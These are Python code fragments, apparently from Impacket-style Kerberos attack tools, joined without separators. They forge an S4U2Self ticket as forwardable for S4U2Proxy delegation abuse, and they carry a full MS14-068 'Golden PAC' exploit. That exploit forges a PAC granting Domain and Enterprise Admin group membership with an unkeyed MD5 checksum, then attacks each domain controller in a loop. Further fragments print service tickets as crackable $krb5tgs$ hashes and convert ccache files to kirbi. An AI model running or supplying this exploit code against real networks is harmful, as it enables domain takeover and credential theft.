TGS. It's encrypted with one of our keys cipherText = tgs['ticket']['enc-part']['cipher'] # Check which cipher was used to encrypt the ticket. It's not always the same # This determines which of our keys we should use for decryption/re-encryption newCipher = _enctype_table[int(tgs['ticket']['enc-part']['etype'])] if newCipher.enctype == Enctype.RC4: key = Key(newCipher.enctype, nthash) else: key = Key(newCipher.enctype, aesKey) # Decrypt and decode the ticket # Key Usage 2 # AS-REP Ticket and TGS-REP Ticket (includes tgs session key or # application session key), encrypted with the service key # (section 5.4.2) plainText = newCipher.decrypt(key, 2, cipherText) encTicketPart = decoder.decode(plainText, asn1Spec=EncTicketPart())[0] # Print the flags in the ticket before modification logging.debug('\tService ticket from S4U2self flags: ' + str(encTicketPart['flags'])) logging.debug('\tService ticket from S4U2self is' + ('' if (encTicketPart['flags'][TicketFlags.forwardable.value] == 1) else ' not') + ' forwardable') # Customize flags the forwardable flag is the only one that really matters logging.info('\tForcing the service ticket to be forwardable') # convert to string of bits flagBits = encTicketPart['flags'].asBinary() # Set the forwardable flag. Awkward binary string insertion flagBits = flagBits[:TicketFlags.forwardable.value] + '1' + flagBits[TicketFlags.forwardable.value + 1:] # Overwrite the value with the new bits encTicketPart['flags'] = encTicketPart['flags'].clone(value=flagBits) # Update flags logging.debug('\tService ticket flags after modification: ' + str(encTicketPart['flags'])) logging.debug('\tService ticket now is' + ('' if (encTicketPart['flags'][TicketFlags.forwardable.value] == 1) else ' not') + ' forwardable') # Re-encode and re-encrypt the ticket # Again, Key Usage 2 encodedEncTicketPart = encoder.encode(encTicketPart) cipherText = newCipher.encrypt(key, 2, encodedEncTicketPart, None) # put it back in the TGS tgs['ticket']['enc-part']['cipher'] = cipherText ################################################################################ # Up until here was all the S4USelf stuff. Now let's start with S4U2Proxy # So here I have a ST for me.. I now want a ST for another service # Extract the ticket from the TGT ticketTGT = Ticket() ticketTGT.from_asn1(decodedTGT['ticket']) # Get the service ticket ticket = Ticket() ticket.from_asn1(tgs['ticket']) apReq = AP_REQ() apReq['pvno'] = 5 apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) opts = list() apReq['ap-options'] = constants.encodeFlags(opts) seq_set(apReq, 'ticket', ticketTGT.to_asn1) authenticator = Authenticator() authenticator['authenticator-vno'] = 5 authenticator['crealm'] = str(decodedTGT['crealm']) clientName = Principal() clientName.from_asn1(decodedTGT, 'crealm', 'cname') seq_set(authenticator, 'cname', clientName.components_to_asn1) now = datetime.datetime.utcnow() authenticator['cusec'] = now.microsecond authenticator['ctime'] = KerberosTime.to_asn1(now) encodedAuthenticator = encoder.encode(authenticator) # Key Usage 7 # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes # TGS authenticator subkey), encrypted with the TGS session # key (Section 5.5.1) encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) apReq['authenticator'] = noValue apReq['authenticator']['etype'] = cipher.enctype apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator encodedApReq = encoder.encode(apReq) tgsReq = TGS_REQ() tgsReq['pvno'] = 5 tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) tgsReq['padata'] = noValue tgsReq['padata'][0] = noValue tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) tgsReq['padata'][0]['padata-value'] = encodedApReq # Add resource-based constrained delegation support paPacOptions = PA_PAC_OPTIONS() paPacOptions['flags'] = constants.encodeFlags((constants.PAPacOptions.resource_based_constrained_delegation.value,)) tgsReq['padata'][1] = noValue tgsReq['padata'][1]['padata-type'] = constants.PreAuthenticationDataTypes.PA_PAC_OPTIONS.value tgsReq['padata'][1]['padata-value'] = encoder.encode(paPacOptions) reqBody = seq_set(tgsReq, 'req-body') opts = list() # This specified we're doing S4U opts.append(constants.KDCOptions.cname_in_addl_tkt.value) opts.append(constants.KDCOptions.canonicalize.value) opts.append(constants.KDCOptions.forwardable.value) opts.append(constants.KDCOptions.renewable.value) reqBody['kdc-options'] = constants.encodeFlags(opts) service2 = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value) seq_set(reqBody, 'sname', service2.components_to_asn1) reqBody['realm'] = self.__domain myTicket = ticket.to_asn1(TicketAsn1()) seq_set_iter(reqBody, 'additional-tickets', (myTicket,)) now = datetime.datetime.utcnow() + datetime.timedelta(days=1) reqBody['till'] = KerberosTime.to_asn1(now) reqBody['nonce'] = random.getrandbits(31) seq_set_iter(reqBody, 'etype', ( int(constants.EncryptionTypes.rc4_hmac.value), int(constants.EncryptionTypes.des3_cbc_sha1_kd.value), int(constants.EncryptionTypes.des_cbc_md5.value), int(cipher.enctype) ) ) message = encoder.encode(tgsReq) logging.info('\tRequesting S4U2Proxy') r = sendReceive(message, self.__domain, kdcHost) tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] cipherText = tgs['enc-part']['cipher'] # Key Usage 8 # TGS-REP encrypted part (includes application session # key), encrypted with the TGS session key (Section 5.4.2) plainText = cipher.decrypt(sessionKey, 8, cipherText) encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0] newSessionKey = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue']) # Creating new cipher based on received keytype cipher = _enctype_table[encTGSRepPart['key']['keytype']] return r, cipher, sessionKey, newSessionKey
class MS14_068: # 6.1. Unkeyed Checksums # Vulnerable DCs are accepting at least these unkeyed checksum types CRC_32 = 1 RSA_MD4 = 2 RSA_MD5 = 7 class VALIDATION_INFO(TypeSerialization1): structure = (('Data', PKERB_VALIDATION_INFO), ) def __init__(self, target, targetIp=None, username='', password='', domain='', hashes=None, command='', copyFile=None, writeTGT=None, kdcHost=None): self.__username = username self.__password = password self.__domain = domain self.__rid = 0 self.__lmhash = '' self.__nthash = '' self.__target = target self.__targetIp = targetIp self.__kdcHost = None self.__copyFile = copyFile self.__command = command self.__writeTGT = writeTGT self.__domainSid = '' self.__forestSid = None self.__domainControllers = list() self.__kdcHost = kdcHost if hashes is not None: self.__lmhash, self.__nthash = hashes.split(':') self.__lmhash = unhexlify(self.__lmhash) self.__nthash = unhexlify(self.__nthash) def getGoldenPAC(self, authTime): # Ok.. we need to build a PAC_TYPE with the following items # 1) KERB_VALIDATION_INFO aTime = timegm(strptime(str(authTime), '%Y%m%d%H%M%SZ')) unixTime = getFileTime(aTime) kerbdata = KERB_VALIDATION_INFO() kerbdata['LogonTime']['dwLowDateTime'] = unixTime & 0xffffffff kerbdata['LogonTime']['dwHighDateTime'] = unixTime >> 32 # LogoffTime: A FILETIME structure that contains the time the client's logon # session should expire. If the session should not expire, this structure # SHOULD have the dwHighDateTime member set to 0x7FFFFFFF and the dwLowDateTime # member set to 0xFFFFFFFF. A recipient of the PAC SHOULD<7> use this value as # an indicator of when to warn the user that the allowed time is due to expire. kerbdata['LogoffTime']['dwLowDateTime'] = 0xFFFFFFFF kerbdata['LogoffTime']['dwHighDateTime'] = 0x7FFFFFFF # KickOffTime: A FILETIME structure that contains LogoffTime minus the user # account's forceLogoff attribute ([MS-ADA1] section 2.233) value. If the # client should not be logged off, this structure SHOULD have the dwHighDateTime # member set to 0x7FFFFFFF and the dwLowDateTime member set to 0xFFFFFFFF. # The Kerberos service ticket end time is a replacement for KickOffTime. # The service ticket lifetime SHOULD NOT be set longer than the KickOffTime of # an account. A recipient of the PAC SHOULD<8> use this value as the indicator # of when the client should be forcibly disconnected. kerbdata['KickOffTime']['dwLowDateTime'] = 0xFFFFFFFF kerbdata['KickOffTime']['dwHighDateTime'] = 0x7FFFFFFF kerbdata['PasswordLastSet']['dwLowDateTime'] = 0 kerbdata['PasswordLastSet']['dwHighDateTime'] = 0 kerbdata['PasswordCanChange']['dwLowDateTime'] = 0 kerbdata['PasswordCanChange']['dwHighDateTime'] = 0 # PasswordMustChange: A FILETIME structure that contains the time at which # theclient's password expires. If the password will not expire, this # structure MUST have the dwHighDateTime member set to 0x7FFFFFFF and the # dwLowDateTime member set to 0xFFFFFFFF. kerbdata['PasswordMustChange']['dwLowDateTime'] = 0xFFFFFFFF kerbdata['PasswordMustChange']['dwHighDateTime'] = 0x7FFFFFFF kerbdata['EffectiveName'] = self.__username kerbdata['FullName'] = '' kerbdata['LogonScript'] = '' kerbdata['ProfilePath'] = '' kerbdata['HomeDirectory'] = '' kerbdata['HomeDirectoryDrive'] = '' kerbdata['LogonCount'] = 0 kerbdata['BadPasswordCount'] = 0 kerbdata['UserId'] = self.__rid kerbdata['PrimaryGroupId'] = 513 # Our Golden Well-known groups! :) groups = (513, 512, 520, 518, 519) kerbdata['GroupCount'] = len(groups) for group in groups: groupMembership = GROUP_MEMBERSHIP() groupId = NDRULONG() groupId['Data'] = group groupMembership['RelativeId'] = groupId groupMembership[ 'Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED kerbdata['GroupIds'].append(groupMembership) kerbdata['UserFlags'] = 0 kerbdata[ 'UserSessionKey'] = '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' kerbdata['LogonServer'] = '' kerbdata['LogonDomainName'] = self.__domain kerbdata['LogonDomainId'] = self.__domainSid kerbdata['LMKey'] = '\x00\x00\x00\x00\x00\x00\x00\x00' kerbdata[ 'UserAccountControl'] = USER_NORMAL_ACCOUNT | USER_DONT_EXPIRE_PASSWORD kerbdata['SubAuthStatus'] = 0 kerbdata['LastSuccessfulILogon']['dwLowDateTime'] = 0 kerbdata['LastSuccessfulILogon']['dwHighDateTime'] = 0 kerbdata['LastFailedILogon']['dwLowDateTime'] = 0 kerbdata['LastFailedILogon']['dwHighDateTime'] = 0 kerbdata['FailedILogonCount'] = 0 kerbdata['Reserved3'] = 0 # AUTHENTICATION_AUTHORITY_ASSERTED_IDENTITY: A SID that means the client's identity is # asserted by an authentication authority based on proof of possession of client credentials. #extraSids = ('S-1-18-1',) if self.__forestSid is not None: extraSids = ('%s-%s' % (self.__forestSid, '519'), ) kerbdata['SidCount'] = len(extraSids) kerbdata['UserFlags'] |= 0x20 else: extraSids = () kerbdata['SidCount'] = len(extraSids) for extraSid in extraSids: sidRecord = KERB_SID_AND_ATTRIBUTES() sid = RPC_SID() sid.fromCanonical(extraSid) sidRecord['Sid'] = sid sidRecord[ 'Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED kerbdata['ExtraSids'].append(sidRecord) kerbdata['ResourceGroupDomainSid'] = NULL kerbdata['ResourceGroupCount'] = 0 kerbdata['ResourceGroupIds'] = NULL validationInfo = self.VALIDATION_INFO() validationInfo['Data'] = kerbdata if logging.getLogger().level == logging.DEBUG: logging.debug('VALIDATION_INFO') validationInfo.dump() print('\n') validationInfoBlob = validationInfo.getData( ) + validationInfo.getDataReferents() validationInfoAlignment = '\x00' * (( (len(validationInfoBlob) + 7) / 8 * 8) - len(validationInfoBlob)) # 2) PAC_CLIENT_INFO pacClientInfo = PAC_CLIENT_INFO() pacClientInfo['ClientId'] = unixTime try: name = self.__username.encode('utf-16le') except UnicodeDecodeError: import sys name = self.__username.decode( sys.getfilesystemencoding()).encode('utf-16le') pacClientInfo['NameLength'] = len(name) pacClientInfo['Name'] = name pacClientInfoBlob = str(pacClientInfo) pacClientInfoAlignment = '\x00' * (( (len(pacClientInfoBlob) + 7) / 8 * 8) - len(pacClientInfoBlob)) # 3) PAC_SERVER_CHECKSUM/PAC_SIGNATURE_DATA serverChecksum = PAC_SIGNATURE_DATA() # If you wanna do CRC32, uncomment this #serverChecksum['SignatureType'] = self.CRC_32 #serverChecksum['Signature'] = '\x00'*4 # If you wanna do MD4, uncomment this #serverChecksum['SignatureType'] = self.RSA_MD4 #serverChecksum['Signature'] = '\x00'*16 # If you wanna do MD5, uncomment this serverChecksum['SignatureType'] = self.RSA_MD5 serverChecksum['Signature'] = '\x00' * 16 serverChecksumBlob = str(serverChecksum) serverChecksumAlignment = '\x00' * (( (len(serverChecksumBlob) + 7) / 8 * 8) - len(serverChecksumBlob)) # 4) PAC_PRIVSVR_CHECKSUM/PAC_SIGNATURE_DATA privSvrChecksum = PAC_SIGNATURE_DATA() # If you wanna do CRC32, uncomment this #privSvrChecksum['SignatureType'] = self.CRC_32 #privSvrChecksum['Signature'] = '\x00'*4 # If you wanna do MD4, uncomment this #privSvrChecksum['SignatureType'] = self.RSA_MD4 #privSvrChecksum['Signature'] = '\x00'*16 # If you wanna do MD5, uncomment this privSvrChecksum['SignatureType'] = self.RSA_MD5 privSvrChecksum['Signature'] = '\x00' * 16 privSvrChecksumBlob = str(privSvrChecksum) privSvrChecksumAlignment = '\x00' * (( (len(privSvrChecksumBlob) + 7) / 8 * 8) - len(privSvrChecksumBlob)) # The offset are set from the beginning of the PAC_TYPE # [MS-PAC] 2.4 PAC_INFO_BUFFER offsetData = 8 + len(str(PAC_INFO_BUFFER())) * 4 # Let's build the PAC_INFO_BUFFER for each one of the elements validationInfoIB = PAC_INFO_BUFFER() validationInfoIB['ulType'] = PAC_LOGON_INFO validationInfoIB['cbBufferSize'] = len(validationInfoBlob) validationInfoIB['Offset'] = offsetData offsetData = (offsetData + validationInfoIB['cbBufferSize'] + 7) / 8 * 8 pacClientInfoIB = PAC_INFO_BUFFER() pacClientInfoIB['ulType'] = PAC_CLIENT_INFO_TYPE pacClientInfoIB['cbBufferSize'] = len(pacClientInfoBlob) pacClientInfoIB['Offset'] = offsetData offsetData = (offsetData + pacClientInfoIB['cbBufferSize'] + 7) / 8 * 8 serverChecksumIB = PAC_INFO_BUFFER() serverChecksumIB['ulType'] = PAC_SERVER_CHECKSUM serverChecksumIB['cbBufferSize'] = len(serverChecksumBlob) serverChecksumIB['Offset'] = offsetData offsetData = (offsetData + serverChecksumIB['cbBufferSize'] + 7) / 8 * 8 privSvrChecksumIB = PAC_INFO_BUFFER() privSvrChecksumIB['ulType'] = PAC_PRIVSVR_CHECKSUM privSvrChecksumIB['cbBufferSize'] = len(privSvrChecksumBlob) privSvrChecksumIB['Offset'] = offsetData #offsetData = (offsetData+privSvrChecksumIB['cbBufferSize'] + 7) /8 *8 # Building the PAC_TYPE as specified in [MS-PAC] buffers = str(validationInfoIB) + str(pacClientInfoIB) + str( serverChecksumIB) + str( privSvrChecksumIB ) + validationInfoBlob + validationInfoAlignment + str( pacClientInfo) + pacClientInfoAlignment buffersTail = str(serverChecksum) + serverChecksumAlignment + str( privSvrChecksum) + privSvrChecksumAlignment pacType = PACTYPE() pacType['cBuffers'] = 4 pacType['Version'] = 0 pacType['Buffers'] = buffers + buffersTail blobToChecksum = str(pacType) # If you want to do CRC-32, ucomment this #serverChecksum['Signature'] = struct.pack('<L', (binascii.crc32(blobToChecksum, 0xffffffff) ^ 0xffffffff) & 0xffffffff) #privSvrChecksum['Signature'] = struct.pack('<L', (binascii.crc32(serverChecksum['Signature'], 0xffffffff) ^ 0xffffffff) & 0xffffffff) # If you want to do MD4, ucomment this #serverChecksum['Signature'] = MD4.new(blobToChecksum).digest() #privSvrChecksum['Signature'] = MD4.new(serverChecksum['Signature']).digest() # If you want to do MD5, ucomment this serverChecksum['Signature'] = MD5.new(blobToChecksum).digest() privSvrChecksum['Signature'] = MD5.new( serverChecksum['Signature']).digest() buffersTail = str(serverChecksum) + serverChecksumAlignment + str( privSvrChecksum) + privSvrChecksumAlignment pacType['Buffers'] = buffers + buffersTail authorizationData = AuthorizationData() authorizationData[0] = None authorizationData[0]['ad-type'] = int( constants.AuthorizationDataType.AD_WIN2K_PAC.value) authorizationData[0]['ad-data'] = str(pacType) return encoder.encode(authorizationData) def getKerberosTGS(self, serverName, domain, kdcHost, tgt, cipher, sessionKey, authTime): # Get out Golden PAC goldenPAC = self.getGoldenPAC(authTime) decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0] # Extract the ticket from the TGT ticket = Ticket() ticket.from_asn1(decodedTGT['ticket']) # Now put the goldenPac inside the AuthorizationData AD_IF_RELEVANT ifRelevant = AD_IF_RELEVANT() ifRelevant[0] = None ifRelevant[0]['ad-type'] = int( constants.AuthorizationDataType.AD_IF_RELEVANT.value) ifRelevant[0]['ad-data'] = goldenPAC encodedIfRelevant = encoder.encode(ifRelevant) # Key Usage 4 # TGS-REQ KDC-REQ-BODY AuthorizationData, encrypted with # the TGS session key (Section 5.4.1) encryptedEncodedIfRelevant = cipher.encrypt(sessionKey, 4, encodedIfRelevant, None) tgsReq = TGS_REQ() reqBody = seq_set(tgsReq, 'req-body') opts = list() opts.append(constants.KDCOptions.forwardable.value) opts.append(constants.KDCOptions.renewable.value) opts.append(constants.KDCOptions.proxiable.value) reqBody['kdc-options'] = constants.encodeFlags(opts) seq_set(reqBody, 'sname', serverName.components_to_asn1) reqBody['realm'] = str(decodedTGT['crealm']) now = datetime.datetime.utcnow() + datetime.timedelta(days=1) reqBody['till'] = KerberosTime.to_asn1(now) reqBody['nonce'] = random.SystemRandom().getrandbits(31) seq_set_iter(reqBody, 'etype', (cipher.enctype, )) reqBody['enc-authorization-data'] = None reqBody['enc-authorization-data']['etype'] = int(cipher.enctype) reqBody['enc-authorization-data'][ 'cipher'] = encryptedEncodedIfRelevant apReq = AP_REQ() apReq['pvno'] = 5 apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) opts = list() apReq['ap-options'] = constants.encodeFlags(opts) seq_set(apReq, 'ticket', ticket.to_asn1) authenticator = Authenticator() authenticator['authenticator-vno'] = 5 authenticator['crealm'] = str(decodedTGT['crealm']) clientName = Principal() clientName.from_asn1(decodedTGT, 'crealm', 'cname') seq_set(authenticator, 'cname', clientName.components_to_asn1) now = datetime.datetime.utcnow() authenticator['cusec'] = now.microsecond authenticator['ctime'] = KerberosTime.to_asn1(now) encodedAuthenticator = encoder.encode(authenticator) # Key Usage 7 # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes # TGS authenticator subkey), encrypted with the TGS session # key (Section 5.5.1) encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) apReq['authenticator'] = None apReq['authenticator']['etype'] = cipher.enctype apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator encodedApReq = encoder.encode(apReq) tgsReq['pvno'] = 5 tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) tgsReq['padata'] = None tgsReq['padata'][0] = None tgsReq['padata'][0]['padata-type'] = int( constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) tgsReq['padata'][0]['padata-value'] = encodedApReq pacRequest = KERB_PA_PAC_REQUEST() pacRequest['include-pac'] = False encodedPacRequest = encoder.encode(pacRequest) tgsReq['padata'][1] = None tgsReq['padata'][1]['padata-type'] = int( constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value) tgsReq['padata'][1]['padata-value'] = encodedPacRequest message = encoder.encode(tgsReq) r = sendReceive(message, domain, kdcHost) # Get the session key tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] cipherText = tgs['enc-part']['cipher'] # Key Usage 8 # TGS-REP encrypted part (includes application session # key), encrypted with the TGS session key (Section 5.4.2) plainText = cipher.decrypt(sessionKey, 8, str(cipherText)) encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0] newSessionKey = Key(cipher.enctype, str(encTGSRepPart['key']['keyvalue'])) return r, cipher, sessionKey, newSessionKey def getForestSid(self): logging.debug('Calling NRPC DsrGetDcNameEx()') stringBinding = r'ncacn_np:%s[\pipe\netlogon]' % self.__kdcHost rpctransport = transport.DCERPCTransportFactory(stringBinding) if hasattr(rpctransport, 'set_credentials'): rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(MSRPC_UUID_NRPC) resp = hDsrGetDcNameEx(dce, NULL, NULL, NULL, NULL, 0) forestName = resp['DomainControllerInfo']['DnsForestName'][:-1] logging.debug('DNS Forest name is %s' % forestName) dce.disconnect() logging.debug('Calling LSAT hLsarQueryInformationPolicy2()') stringBinding = r'ncacn_np:%s[\pipe\lsarpc]' % forestName rpctransport = transport.DCERPCTransportFactory(stringBinding) if hasattr(rpctransport, 'set_credentials'): rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(MSRPC_UUID_LSAT) resp = hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | POLICY_LOOKUP_NAMES) policyHandle = resp['PolicyHandle'] resp = hLsarQueryInformationPolicy2( dce, policyHandle, POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation) dce.disconnect() forestSid = resp['PolicyInformation']['PolicyAccountDomainInfo'][ 'DomainSid'].formatCanonical() logging.info("Forest SID: %s" % forestSid) return forestSid def getDomainControllers(self): logging.debug('Calling DRSDomainControllerInfo()') stringBinding = epm.hept_map(self.__domain, MSRPC_UUID_DRSUAPI, protocol='ncacn_ip_tcp') rpctransport = transport.DCERPCTransportFactory(stringBinding) if hasattr(rpctransport, 'set_credentials'): rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) dce = rpctransport.get_dce_rpc() dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY) dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) dce.connect() dce.bind(MSRPC_UUID_DRSUAPI) request = DRSBind() request['puuidClientDsa'] = NTDSAPI_CLIENT_GUID drs = DRS_EXTENSIONS_INT() drs['cb'] = len(drs) #- 4 drs['dwFlags'] = DRS_EXT_GETCHGREQ_V6 | DRS_EXT_GETCHGREPLY_V6 | DRS_EXT_GETCHGREQ_V8 | DRS_EXT_STRONG_ENCRYPTION drs['SiteObjGuid'] = NULLGUID drs['Pid'] = 0 drs['dwReplEpoch'] = 0 drs['dwFlagsExt'] = 0 drs['ConfigObjGUID'] = NULLGUID drs['dwExtCaps'] = 127 request['pextClient']['cb'] = len(drs) request['pextClient']['rgb'] = list(str(drs)) resp = dce.request(request) dcs = hDRSDomainControllerInfo(dce, resp['phDrs'], self.__domain, 1) dce.disconnect() domainControllers = list() for dc in dcs['pmsgOut']['V1']['rItems']: logging.debug('Found domain controller %s' % dc['DnsHostName'][:-1]) domainControllers.append(dc['DnsHostName'][:-1]) return domainControllers def getUserSID(self): stringBinding = r'ncacn_np:%s[\pipe\samr]' % self.__kdcHost rpctransport = transport.DCERPCTransportFactory(stringBinding) if hasattr(rpctransport, 'set_credentials'): rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(samr.MSRPC_UUID_SAMR) resp = samr.hSamrConnect(dce) serverHandle = resp['ServerHandle'] resp = samr.hSamrLookupDomainInSamServer(dce, serverHandle, self.__domain) domainId = resp['DomainId'] resp = samr.hSamrOpenDomain(dce, serverHandle, domainId=domainId) domainHandle = resp['DomainHandle'] resp = samr.hSamrLookupNamesInDomain(dce, domainHandle, (self.__username, )) # Let's pick the relative ID rid = resp['RelativeIds']['Element'][0]['Data'] logging.info("User SID: %s-%s" % (domainId.formatCanonical(), rid)) return domainId, rid def exploit(self): if self.__kdcHost is None: getDCs = True self.__kdcHost = self.__domain else: getDCs = False self.__domainSid, self.__rid = self.getUserSID() try: self.__forestSid = self.getForestSid() except Exception, e: # For some reason we couldn't get the forest data. No problem, we can still continue # Only drawback is we won't get forest admin if successful logging.error('Couldn\'t get forest info (%s), continuing' % str(e)) self.__forestSid = None if getDCs is False: # User specified a DC already, no need to get the list self.__domainControllers.append(self.__kdcHost) else: self.__domainControllers = self.getDomainControllers() userName = Principal( self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) for dc in self.__domainControllers: logging.info('Attacking domain controller %s' % dc) self.__kdcHost = dc exception = None while True: try: tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT( userName, self.__password, self.__domain, self.__lmhash, self.__nthash, None, self.__kdcHost, requestPAC=False) except KerberosError, e: if e.getErrorCode( ) == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: # We might face this if the target does not support AES (most probably # Windows XP). So, if that's the case we'll force using RC4 by converting # the password to lm/nt hashes and hope for the best. If that's already # done, byebye. if self.__lmhash is '' and self.__nthash is '': from impacket.ntlm import compute_lmhash, compute_nthash self.__lmhash = compute_lmhash(self.__password) self.__nthash = compute_nthash(self.__password) continue else: exception = str(e) break else: exception = str(e) break # So, we have the TGT, now extract the new session key and finish asRep = decoder.decode(tgt, asn1Spec=AS_REP())[0] # If the cypher in use != RC4 there's gotta be a salt for us to use salt = '' if asRep['padata']: for pa in asRep['padata']: if pa['padata-type'] == constants.PreAuthenticationDataTypes.PA_ETYPE_INFO2.value: etype2 = decoder.decode( str(pa['padata-value'])[2:], asn1Spec=ETYPE_INFO2_ENTRY())[0] salt = str(etype2['salt']) cipherText = asRep['enc-part']['cipher'] # Key Usage 3 # AS-REP encrypted part (includes TGS session key or # application session key), encrypted with the client key # (Section 5.4.2) if self.__nthash != '': key = Key(cipher.enctype, self.__nthash) else: key = cipher.string_to_key(self.__password, salt, None) plainText = cipher.decrypt(key, 3, str(cipherText)) encASRepPart = decoder.decode(plainText, asn1Spec=EncASRepPart())[0] authTime = encASRepPart['authtime'] serverName = Principal( 'krbtgt/%s' % self.__domain.upper(), type=constants.PrincipalNameType.NT_PRINCIPAL.value) tgs, cipher, oldSessionKey, sessionKey = self.getKerberosTGS( serverName, domain, self.__kdcHost, tgt, cipher, sessionKey, authTime) # We've done what we wanted, now let's call the regular getKerberosTGS to get a new ticket for cifs serverName = Principal( 'cifs/%s' % self.__target, type=constants.PrincipalNameType.NT_SRV_INST.value) try: tgsCIFS, cipher, oldSessionKeyCIFS, sessionKeyCIFS = getKerberosTGS( serverName, domain, self.__kdcHost, tgs, cipher, sessionKey) except KerberosError, e: if e.getErrorCode( ) == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: # We might face this if the target does not support AES (most probably # Windows XP). So, if that's the case we'll force using RC4 by converting # the password to lm/nt hashes and hope for the best. If that's already # done, byebye. if self.__lmhash is '' and self.__nthash is '': from impacket.ntlm import compute_lmhash, compute_nthash self.__lmhash = compute_lmhash(self.__password) self.__nthash = compute_nthash(self.__password) else: exception = str(e) break else: exception = str(e) break else: # Everything went well, let's save the ticket if asked and leave if self.__writeTGT is not None: from impacket.krb5.ccache import CCache ccache = CCache() ccache.fromTGS(tgs, oldSessionKey, sessionKey) ccache.saveFile(self.__writeTGT) break
def outputTGS(self, tgs, oldSessionKey, sessionKey, username, spn, fd=None): decodedTGS = decoder.decode(tgs, asn1Spec=TGS_REP())[0] # According to RFC4757 (RC4-HMAC) the cipher part is like: # struct EDATA { # struct HEADER { # OCTET Checksum[16]; # OCTET Confounder[8]; # } Header; # OCTET Data[0]; # } edata; # # In short, we're interested in splitting the checksum and the rest of the encrypted data # # Regarding AES encryption type (AES128 CTS HMAC-SHA1 96 and AES256 CTS HMAC-SHA1 96) # last 12 bytes of the encrypted ticket represent the checksum of the decrypted # ticket if decodedTGS['ticket']['enc-part'][ 'etype'] == constants.EncryptionTypes.rc4_hmac.value: entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % ( constants.EncryptionTypes.rc4_hmac.value, username, decodedTGS['ticket']['realm'], spn.replace(':', '~'), hexlify(decodedTGS['ticket']['enc-part']['cipher'] [:16].asOctets()).decode(), hexlify(decodedTGS['ticket']['enc-part']['cipher'] [16:].asOctets()).decode()) if fd is None: print(entry) else: fd.write(entry + '\n') elif decodedTGS['ticket']['enc-part'][ 'etype'] == constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value: entry = '$krb5tgs$%d$%s$%s$*%s*$%s$%s' % ( constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value, username, decodedTGS['ticket']['realm'], spn.replace(':', '~'), hexlify(decodedTGS['ticket']['enc-part']['cipher'] [-12:].asOctets()).decode(), hexlify(decodedTGS['ticket']['enc-part']['cipher'] [:-12:].asOctets()).decode) if fd is None: print(entry) else: fd.write(entry + '\n') elif decodedTGS['ticket']['enc-part'][ 'etype'] == constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value: entry = '$krb5tgs$%d$%s$%s$*%s*$%s$%s' % ( constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value, username, decodedTGS['ticket']['realm'], spn.replace(':', '~'), hexlify(decodedTGS['ticket']['enc-part']['cipher'] [-12:].asOctets()).decode(), hexlify(decodedTGS['ticket']['enc-part']['cipher'] [:-12:].asOctets()).decode()) if fd is None: print(entry) else: fd.write(entry + '\n') elif decodedTGS['ticket']['enc-part'][ 'etype'] == constants.EncryptionTypes.des_cbc_md5.value: entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % ( constants.EncryptionTypes.des_cbc_md5.value, username, decodedTGS['ticket']['realm'], spn.replace(':', '~'), hexlify(decodedTGS['ticket']['enc-part']['cipher'] [:16].asOctets()).decode(), hexlify(decodedTGS['ticket']['enc-part']['cipher'] [16:].asOctets()).decode()) if fd is None: print(entry) else: fd.write(entry + '\n') else: logging.error('Skipping %s/%s due to incompatible e-type %d' % (decodedTGS['ticket']['sname']['name-string'][0], decodedTGS['ticket']['sname']['name-string'][1], decodedTGS['ticket']['enc-part']['etype'])) if self.__saveTGS is True: # Save the ticket logging.debug('About to save TGS for %s' % username) ccache = CCache() try: ccache.fromTGS(tgs, oldSessionKey, sessionKey) ccache.saveFile('%s.ccache' % username) except Exception as e: logging.error(str(e))
def convert_ccache_to_kirbi(input_filename, output_filename): ccache = CCache.loadFile(input_filename) ccache.saveKirbiFile(output_filename)
